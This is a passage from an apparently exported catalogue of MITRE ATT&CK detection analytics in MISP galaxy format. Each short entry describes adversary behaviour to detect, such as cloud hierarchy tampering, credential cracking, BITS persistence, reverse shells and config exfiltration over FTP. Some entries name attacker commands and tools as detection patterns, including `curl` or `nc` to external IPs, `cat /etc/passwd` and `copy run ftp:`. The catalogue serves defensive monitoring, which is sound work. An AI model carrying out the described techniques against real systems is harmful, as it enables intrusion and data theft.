
Analytic 0442 - AN0442

Monitor for unauthorized or unusual modifications to cloud resource hierarchies such as AWS Organizations or Azure Management Groups. Defenders may observe anomalous calls to APIs like `LeaveOrganization`, `CreateAccount`, `MoveAccount`, or Azure subscription transfers. Correlate account activity with administrative role assignments, tenant transfers, or new subscription creation that deviates from organizational baselines. Multi-event correlation should track role elevation followed by hierarchy modifications within a short time window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0442 - AN0442"*

Table 6689. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0155#AN0442

Analytic 0542 - AN0542

Detection of XProtect or AV quarantining a known tool, followed by modification (file size, hash, string) and subsequent re-execution by the same or related user.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0542 - AN0542"*

Table 6690. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0189#AN0542

Analytic 0254 - AN0254

Adversary launches built-in system tools (e.g., whoami, query user, net user) or scripts that enumerate user account information via local execution or remote API queries (e.g., WMI, PowerShell).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0254 - AN0254"*

Table 6691. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0093#AN0254

Analytic 0425 - AN0425

Detects abnormal outbound HTTP/FTP connections by local scripts or binaries outside of standard browser activity, following access to local documents or user data.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0425 - AN0425"*

Table 6692. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149#AN0425

Analytic 0245 - AN0245

Detects unauthorized TCC access or use of Quartz Event Services (CGEventTapCreate) or IOHID for event tap installation within unexpected processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0245 - AN0245"*

Table 6693. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0089#AN0245

Analytic 0452 - AN0452

Monitor PAM and syslog entries for unusual frequency of login attempts that trigger MFA prompts, particularly when MFA challenges do not match expected user behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0452 - AN0452"*

Table 6694. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0160#AN0452

Analytic 0524 - AN0524

Tracks suspicious use of ESXi shell commands or PowerCLI to delete logs, rotate system files, or tamper with hostd/vpxa history.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0524 - AN0524"*

Table 6695. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0524

Analytic 0246 - AN0246

Keylogging on legacy network devices via unauthorized system image modification or remote capture of console keystrokes (telnet, SSH) through altered firmware or man-in-the-middle key sniffing.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0246 - AN0246"*

Table 6696. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0089#AN0246

Analytic 0426 - AN0426

Detects shell-based scripts accessing configuration files or snapshots and transmitting them over unencrypted protocols such as FTP or HTTP to non-management IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0426 - AN0426"*

Table 6697. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149#AN0426

Analytic 0264 - AN0264

Adversary adds a new Outlook rule with modified or obfuscated PR_RULE_MSG_NAME and PR_RULE_MSG_PROVIDER attributes using MFCMapi or Ruler. Rule is triggered when email arrives, executing embedded or external code. Mailbox audit logs or Unified Audit Log shows automated rule-triggered action without user interaction.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0264 - AN0264"*

Table 6698. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0095#AN0264

Analytic 0462 - AN0462

Adversary installs/uses packet-capture or raw-socket capability (WinPcap/Npcap, wpcap/packet DLLs or raw socket attach) and sets a filter. A crafted inbound packet is observed; within a short window the host process that loaded capture libraries initiates an outbound connection (e.g., reverse shell) to the packet origin.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0462 - AN0462"*

Table 6699. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0162#AN0462

Analytic 0624 - AN0624

Detects remote scripts or binaries deployed via Puppet, Chef, Ansible, or shell scripts from orchestration servers executing outside maintenance windows or in unmanaged nodes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0624 - AN0624"*

Table 6700. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223#AN0624

Analytic 0642 - AN0642

Suspicious querying of organization-wide directory data via Google Workspace Directory API or Outlook GAL sync in high volume from abnormal users, service accounts, or unknown device contexts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0642 - AN0642"*

Table 6701. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0229#AN0642

Analytic 0724 - AN0724

Detects file reads across locations followed by writes to temp or staging directories, often compressed or encrypted, indicating local staging behavior.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0724 - AN0724"*

Table 6702. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0261#AN0724

Analytic 0427 - AN0427

Detects use of unencrypted protocols (e.g., TFTP, FTP, HTTP) to transfer configuration files, routing tables, or logs to untrusted IP addresses, especially using administrative commands like `copy run ftp:`.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0427 - AN0427"*

Table 6703. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0149#AN0427

Analytic 0274 - AN0274

Behavioral chain: (1) An actor creates or modifies a BITS job via bitsadmin.exe, PowerShell BITS cmdlets, or COM; (2) the job performs HTTP(S)/SMB network transfers while the owning user is logged on; (3) upon job completion/error, BITS launches a notify command (SetNotifyCmdLine) from svchost.exe -k netsvcs -s BITS, often establishing persistence by keeping long-lived jobs. The strategy correlates process creation, command/script telemetry, BITS-Client operational events, and network connections initiated by BITS.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0274 - AN0274"*

Table 6704. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0098#AN0274

Analytic 0742 - AN0742

Abnormal CPU/memory usage by unauthorized processes with outbound connections to known mining pools or using cron jobs/scripts to maintain persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0742 - AN0742"*

Table 6705. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0267#AN0742

Analytic 0247 - AN0247

Behavioral sequence where removable media is mounted, files are written/updated, and subsequently read/executed on a separate host, suggesting removable-media relay communication.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0247 - AN0247"*

Table 6706. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0090#AN0247

Analytic 0472 - AN0472

Adversary registers a malicious Microsoft Exchange transport agent DLL (.NET assembly), configures it via PowerShell or Exchange Management Shell, and persists code execution by manipulating email processing logic based on rules or headers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0472 - AN0472"*

Table 6707. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0166#AN0472

Analytic 0284 - AN0284

Monitors for TCC-bypassing or unauthorized access to input services like IOHIDSystem or Quartz Event Services used in keylogging or screen monitoring.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0284 - AN0284"*

Table 6708. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0102#AN0284

Analytic 0842 - AN0842

A remote source rapidly touches a short sequence of closed ports (SYN→RST/S0) on a Windows host. Within a short window the host changes firewall state (WFP rule added/modified or service starts listening) and then the same source completes the first successful handshake to the newly opened port.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0842 - AN0842"*

Table 6709. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0302#AN0842

Analytic 0824 - AN0824

Detects unauthorized edits to /etc/hosts, /etc/resolv.conf, or suspicious ARP broadcasts. Correlates file modifications with subsequent unexpected network sessions or service creation.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0824 - AN0824"*

Table 6710. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0296#AN0824

Analytic 0248 - AN0248

Detection of file write-access to USB-mount directories (e.g., /media/, /run/media/) followed by same-file access or execution on another host.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0248 - AN0248"*

Table 6711. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0090#AN0248

Analytic 0428 - AN0428

Detection of raw access to physical drives, modification of boot records (MBR/VBR), and suspicious file creation or alteration within the EFI System Partition (ESP). Correlates privileged process execution with low-level disk modification and unexpected driver or firmware interactions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0428 - AN0428"*

Table 6712. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0150#AN0428

Analytic 0482 - AN0482

Defenders may observe adversary attempts to alter or replace a network device's operating system image through anomalous CLI commands, unexpected firmware updates, integrity check failures, or mismatches in version and checksum validation. Suspicious behavior includes modification of image files on storage, OS version output inconsistent with baselines, unexpected reloads or reboots after image replacement, and changes to boot configuration that load non-standard system images.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0482 - AN0482"*

Table 6713. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0170#AN0482

Analytic 0294 - AN0294

Unsigned or scripting-based processes invoking password cracking binaries or accessing hashed credential artifacts post-login

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0294 - AN0294"*

Table 6714. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105#AN0294

Analytic 0429 - AN0429

Detection of suspicious write operations to block devices, modifications of bootloader files (GRUB, initrd, vmlinuz), and unexpected changes within the EFI System Partition. Monitors privileged execution of utilities like dd, grub-install, or efibootmgr that modify boot sectors or loader entries.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0429 - AN0429"*

Table 6715. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0150#AN0429

Analytic 0942 - AN0942

Detects execution of AutoHotKey or AutoIT interpreters or compiled scripts used for unauthorized automation, command execution, or payload delivery, correlated with anomalous process lineage, command-line arguments, or script creation events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0942 - AN0942"*

Table 6716. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0332#AN0942

Analytic 0492 - AN0492

Automated or scripted HTTP/TLS flooding from one VM or cloud instance against another service, exploiting compute-based billing or exhaustion of service infrastructure.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0492 - AN0492"*

Table 6717. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0173#AN0492

Analytic 0249 - AN0249

Correlates removable volume mounts (disk arbitration) with file I/O events on that volume, followed by same file execution shortly after insert.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0249 - AN0249"*

Table 6718. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0090#AN0249

Analytic 0924 - AN0924

AppleScript or terminal sessions launch tools (`curl`, `nc`, `ssh`) to external IPs not commonly accessed. Outbound connections are made by LaunchAgents/LaunchDaemons, often masquerading as system services.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0924 - AN0924"*

Table 6719. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325#AN0924

Analytic 0255 - AN0255

Adversary runs commands like `whoami`, `id`, `w`, or `cat /etc/passwd` from non-interactive or scripting contexts to enumerate system user details.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0255 - AN0255"*

Table 6720. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0093#AN0255

Analytic 0552 - AN0552

Alterations to plist configuration files (RulesActiveState.plist, SyncedRules.plist, UnsyncedRules.plist, MessageRules.plist) that define email hiding or filtering rules. Defender perspective: unexpected changes in these files associated with Mail.app processes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0552 - AN0552"*

Table 6721. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0192#AN0552

Analytic 0525 - AN0525

Detects deletion or hiding of security-related mail rules, audit mailboxes, or calendar/log sync artifacts indicative of tampering post-intrusion.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0525 - AN0525"*

Table 6722. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0184#AN0525

Analytic 0256 - AN0256

Adversary uses `dscl`, `who`, or environment variables like `$USER` to identify accounts or sessions via Terminal or malicious LaunchAgents.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0256 - AN0256"*

Table 6723. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0093#AN0256

Analytic 0652 - AN0652

Unusual use of steganographic or media processing binaries (e.g., `steghide`, `ffmpeg`, `imagemagick`) followed by outbound communication to external IPs with high data output and media MIME types.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0652 - AN0652"*

Table 6724. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0235#AN0652

Analytic 0526 - AN0526

Use of AWS STS or GCP IAM APIs to request temporary tokens or federation sessions inconsistent with normal account activity, including from unexpected principals or regions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0526 - AN0526"*

Table 6725. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185#AN0526

Analytic 0265 - AN0265

Account attribute changes (e.g., password set, group membership, servicePrincipalName, logon hours) correlated with unusual process lineage or timing, indicating privilege escalation or persistence via valid accounts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0265 - AN0265"*

Table 6726. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0265

Analytic 0625 - AN0625

Detects script or binary execution initiated via JAMF, Munki, or custom MDM agents outside of baseline, or JAMF launching new Terminal or osascript processes from remote command payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0625 - AN0625"*

Table 6727. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223#AN0625

Analytic 0562 - AN0562

Use of `esxcli network` commands (e.g., `esxcli network nic list`, `esxcli network ip interface ipv4 get`) via SSH or hostd to enumerate adapter and IP information.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0562 - AN0562"*

Table 6728. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0195#AN0562

Analytic 0572 - AN0572

Monitor for execution of hypervisor management commands such as `esxcli vm process list` or `vim-cmd vmsvc/getallvms` that enumerate virtual machines. Defenders observe unexpected users issuing VM listing commands outside normal administrative workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0572 - AN0572"*

Table 6729. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0199#AN0572

Analytic 0275 - AN0275

Unexpected write operations to BIOS/UEFI firmware regions or EFI boot partitions that do not correlate with legitimate vendor firmware updates. API calls or utilities such as fwupdate.exe or vendor flash tools executed from non-administrative or non-IT management accounts. Suspicious raw disk writes targeting System Firmware GUID partitions followed by abnormal reboot sequences.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0275 - AN0275"*

Table 6730. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0099#AN0275

Analytic 0257 - AN0257

Adversary executes CLI commands like `show users`, `show ssh`, or attempts to dump AAA user lists from routers or switches.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0257 - AN0257"*

Table 6731. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0093#AN0257

Analytic 0725 - AN0725

Detects aggregation of files from different directories into /tmp, /mnt, or user-specified directories with archiving tools like tar or gzip.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0725 - AN0725"*

Table 6732. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0261#AN0725

Analytic 0527 - AN0527

OAuth or SAML access tokens reused across multiple sessions or clients without corresponding MFA or login activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0527 - AN0527"*

Table 6733. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185#AN0527

Analytic 0752 - AN0752

Remote login via ARD or SSH followed by screensharingd process activity or modification of TCC-protected files.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0752 - AN0752"*

Table 6734. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0269#AN0752

Analytic 0285 - AN0285

Detects web-based credential phishing by analyzing traffic to suspicious URLs that mimic login portals and POST credential content.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0285 - AN0285"*

Table 6735. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0102#AN0285

Analytic 0825 - AN0825

Detects unauthorized edits to system configuration profiles, unexpected certificate trust changes, or abnormal ARP/DNS patterns indicative of interception.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0825 - AN0825"*

Table 6736. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0296#AN0825

Analytic 0258 - AN0258

Detects creation or modification of scheduled tasks using schtasks.exe, at.exe, or COM objects followed by execution of outlier processes tied to the scheduled job.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0258 - AN0258"*

Table 6737. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094#AN0258

Analytic 0528 - AN0528

Application access tokens used to call APIs (e.g., Google Workspace, Salesforce) without interactive logins, often with unusual scopes or elevated permissions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0528 - AN0528"*

Table 6738. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185#AN0528

Analytic 0852 - AN0852

Application crash or repeated restart cycle triggered by malformed input or exploit file, observed via unified logs and process crash monitoring.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0852 - AN0852"*

Table 6739. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0304#AN0852

Analytic 0582 - AN0582

Detects abuse of container orchestration platforms (e.g., Kubernetes) where adversaries create CronJobs to maintain persistence or execute malicious Jobs across the cluster.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0582 - AN0582"*

Table 6740. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0206#AN0582

Analytic 0295 - AN0295

Sudden valid logins from accounts that previously had credentials dumped but had not authenticated successfully in the past; correlated with timeline of suspected hash cracking

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0295 - AN0295"*

Table 6741. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105#AN0295

Analytic 0925 - AN0925

ESXi shell or guest VM tools initiate external connections via scripted traffic forwarding to Internet-based proxies. Detected by firewall or shell audit logs showing outbound connection spikes from hypervisor or guest VM to remote proxy nodes.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0925 - AN0925"*

Table 6742. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325#AN0925

Analytic 0259 - AN0259

Detects creation or modification of cron jobs via crontab, /etc/cron.* directories, or systemd timer units with execution by unusual users or non-standard intervals.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0259 - AN0259"*

Table 6743. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0094#AN0259

Analytic 0592 - AN0592

Domain logins using network accounts or mobile accounts via Open Directory or Active Directory plugins, especially outside business hours or on atypical endpoints.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0592 - AN0592"*

Table 6744. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0210#AN0592

Analytic 0529 - AN0529

OAuth token usage for Exchange Online or SharePoint API access without preceding login or from unauthorized clients.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0529 - AN0529"*

Table 6745. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0185#AN0529

Analytic 0952 - AN0952

Detects unauthorized modification of host binaries, modules, or services within ESXi. Correlates tampered files with subsequent unexpected service behavior or malicious module load attempts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0952 - AN0952"*

Table 6746. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0336#AN0952

Analytic 0266 - AN0266

Use of native tools or scripting (e.g., `usermod`, `passwd`, `groupmod`) to escalate permissions or persist access on existing users, correlated with login or process events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0266 - AN0266"*

Table 6747. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0266

Analytic 0626 - AN0626

Detects cloud-native software deployment or management (e.g., SSM Run Command, Intune) initiating script execution on endpoints outside expected org IDs, admin groups, or maintenance windows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0626 - AN0626"*

Table 6748. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223#AN0626

Analytic 0662 - AN0662

Adversary modifies website or application-hosted content via unauthorized file changes or script injections, often by exploiting web servers or CMS access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0662 - AN0662"*

Table 6749. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0238#AN0662

Analytic 0726 - AN0726

Detects staged data aggregated in /Users/Shared, /private/tmp with compression tools like ditto or zip, initiated via Terminal or AppleScript.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0726 - AN0726"*

Table 6750. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0261#AN0726

Analytic 0672 - AN0672

Monitor for file access to certificate directories, commands invoking OpenSSL or PKCS#12 utilities to export or modify certificates, and processes accessing sensitive key storage paths.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0672 - AN0672"*

Table 6751. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0240#AN0672

Analytic 0267 - AN0267

Modifications to user accounts via `dscl`, `pwpolicy`, or System Preferences CLI (`sysadminctl`) that alter user groups, enable root, or bypass MDM restrictions.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0267 - AN0267"*

Table 6752. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0267

Analytic 0627 - AN0627

Detects central router or switch config management tools (e.g., FortiManager, Cisco Prime) triggering device reboots or config pushes using abnormal accounts or IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0627 - AN0627"*

Table 6753. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0223#AN0627

Analytic 0762 - AN0762

VMware management daemons or guest processes initiating encrypted connections outside expected vCenter, update servers, or internal comms. Defender identifies hostd or vpxa initiating outbound TLS flows with uncommon destinations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0762 - AN0762"*

Table 6754. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0273#AN0762

Analytic 0276 - AN0276

Unauthorized firmware uploads to routers, switches, or firewalls via TFTP/FTP/SCP. Logs showing boot variable or startup image path changes redirecting to non-standard firmware images. Abnormal reboots or firmware rollback attempts following configuration modification events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0276 - AN0276"*

Table 6755. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0099#AN0276

Analytic 0268 - AN0268

Modifications to SSO/SAML user attributes (e.g., `isAdmin`, `role`, MFA bypass, App assignments) often through CLI, API, or rogue IdP apps.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0268 - AN0268"*

Table 6756. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0268

Analytic 0286 - AN0286

Detects network share disconnection attempts using command-line tools like `net use /delete`, PowerShell `Remove-SmbMapping`, and correlation with process lineage and SMB session teardown activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0286 - AN0286"*

Table 6757. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0103#AN0286

Analytic 0682 - AN0682

Detection of persistent login hooks configured via defaults or plist modifications that result in execution of scripts or binaries at user login, breaking expected parent-child process lineage.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0682 - AN0682"*

Table 6758. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0244#AN0682

Analytic 0628 - AN0628

Detects anomalous use of COM objects for execution, such as Office applications spawning scripting engines, enumeration of COM interfaces via registry queries, or processes loading atypical DLLs through COM activation. Correlates process creation, module loads, and registry queries to flag suspicious COM-based code execution or persistence.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0628 - AN0628"*

Table 6759. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0224#AN0628

Analytic 0826 - AN0826

Detects unauthorized firmware or configuration changes enabling adversary-in-the-middle positioning (e.g., route injection, DNS spoofing, SSL downgrade). Behavioral analytics focus on sudden changes to routing tables or image file integrity failures.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0826 - AN0826"*

Table 6760. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0296#AN0826

Analytic 0862 - AN0862

Adversary ships a tampered application or update: an updater/installer (msiexec/setup/update.exe/vendor service) writes or replaces binaries; on first run it spawns scripts/shells or unsigned DLLs and beacons to non-approved update CDNs/hosts. Detection correlates: (1) process creation of installer/updater → (2) file metadata changes in program paths → (3) first-run children and module/signature anomalies → (4) outbound connections to unexpected hosts within a short window.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0862 - AN0862"*

Table 6761. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0309#AN0862

Analytic 0296 - AN0296

Offline cracking inferred by subsequent successful CLI or web-based authentications into routers or switches from previously dumped accounts

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0296 - AN0296"*

Table 6762. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0105#AN0296

Analytic 0629 - AN0629

Unauthorized creation or modification of DLLs loaded by LSASS, abnormal registry values under LSA extensions, and anomalous DLL load activity into the lsass.exe process context—correlated during boot or logon events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0629 - AN0629"*

Table 6763. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0225#AN0629

Analytic 0269 - AN0269

Addition of new users or changes to role permissions (e.g., ReadOnly → Admin) via API or vSphere Client, particularly from non-jumpbox IPs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0269 - AN0269"*

Table 6764. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0096#AN0269

Analytic 0692 - AN0692

IAAS (Cloud images/VMs): A new VM/instance is launched from a non-approved or newly-seen image (AMI/GCP Image/Azure Image). On first boot, cloud-init/user-data or embedded agents download code, spawn system utilities, or open outbound C2/mining traffic. The analytic correlates Instance/Image Creation → Instance Start → in-guest Process/Command Execution and/or anomalous network traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0692 - AN0692"*

Table 6765. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0248#AN0692

Analytic 0962 - AN0962

A user is socially engineered (web page, email, document) to open Run/PowerShell/CMD and paste an obfuscated one-liner. The chain is: (1) user context active in a browser/email/office app → (2) process creation of a command interpreter with suspicious arguments (base64/Invoke-Expression/web download/pipeline to shell) → (3) optional file drop in %TEMP% or %APPDATA% → (4) outbound network connection to an external domain. Events are correlated within a short window and with consistent user/session.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0962 - AN0962"*

Table 6766. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0340#AN0962

Analytic 0926 - AN0926

Changes to NAT/firewall policies enabling outbound port forwarding from internal IPs to Internet-based proxy endpoints. Log spikes in outbound flows to CDN, VPS, or anomalous ASNs with few return packets.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0926 - AN0926"*

Table 6767. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0325#AN0926

Analytic 0727 - AN0727

Detects local staging behavior via snapshot creation or files written into VMFS partitions by scripts or unauthorized shell access.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0727 - AN0727"*

Table 6768. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0261#AN0727

Analytic 0772 - AN0772

Behavioral chain of a user being granted elevated privileges or roles in Entra ID or Okta following suspicious login or account creation activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0772 - AN0772"*

Table 6769. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0277#AN0772

Analytic 0277 - AN0277

Detects malicious injection behavior involving memory allocation, remote thread queuing via APC (e.g., QueueUserAPC), and altered thread context within another live process to execute

unauthorized code under legitimate context.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0277 - AN0277"*

Table 6770. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0100#AN0277

Analytic 0872 - AN0872

Detection of browser-based or email client-driven file creation (often from temp directories) following navigation to or execution of HTML files containing JavaScript Blob APIs or base64 Data URLs, with follow-on execution of the dropped payload. Leveraging Sysmon EventID 15 to inspect Zone.Identifier ADS for HostUrl/ReferrerUrl indicators (e.g., HostUrl=about:internet). Optional: absence of a large HTTP download record for the same URL/client in proxy logs (suggests local assembly)

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0872 - AN0872"*

Table 6771. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0313#AN0872

Analytic 0782 - AN0782

Monitors for compression tool usage (e.g., 7zip, WinRAR, MakeCab) that follows or precedes file modification, suspicious file types (e.g., .exe, .dll) being compressed, or dropped from self-extracting archives followed by immediate execution.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0782 - AN0782"*

Table 6772. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0281#AN0782

Analytic 0827 - AN0827

Processes attempting raw disk access to overwrite sensitive structures such as the MBR or partition table using \\.\PhysicalDrive notation. Detection relies on correlating process creation, privilege escalation, and raw sector writes in Sysmon and Security logs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0827 - AN0827"*

Table 6773. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0297#AN0827

Analytic 0287 - AN0287

Detects modification of LSASS and authentication DLLs, suspicious registry changes to password filter packages, and abnormal process access to lsass.exe. Correlates registry modifications, DLL loads, and process handle access events.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0287 - AN0287"*

Table 6774. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0104#AN0287

Analytic 0278 - AN0278

Detects execution of Lua interpreters or scripts (.lua), especially when correlated with suspicious parent processes or file drop events, indicating malicious use of embedded scripting.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0278 - AN0278"*

Table 6775. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0101#AN0278

Analytic 0728 - AN0728

Monitor DNS query results where subsequent connections use derived or unusual port numbers not explicitly resolved, especially when tied to suspicious processes. Correlate Sysmon DNS logs (Event ID 22) with process creation and socket activity.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0728 - AN0728"*

Table 6776. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0262#AN0728

Analytic 0972 - AN0972

VM or cloud instance generating anomalously high network egress targeting same destination IP or service, especially using stateless protocols.

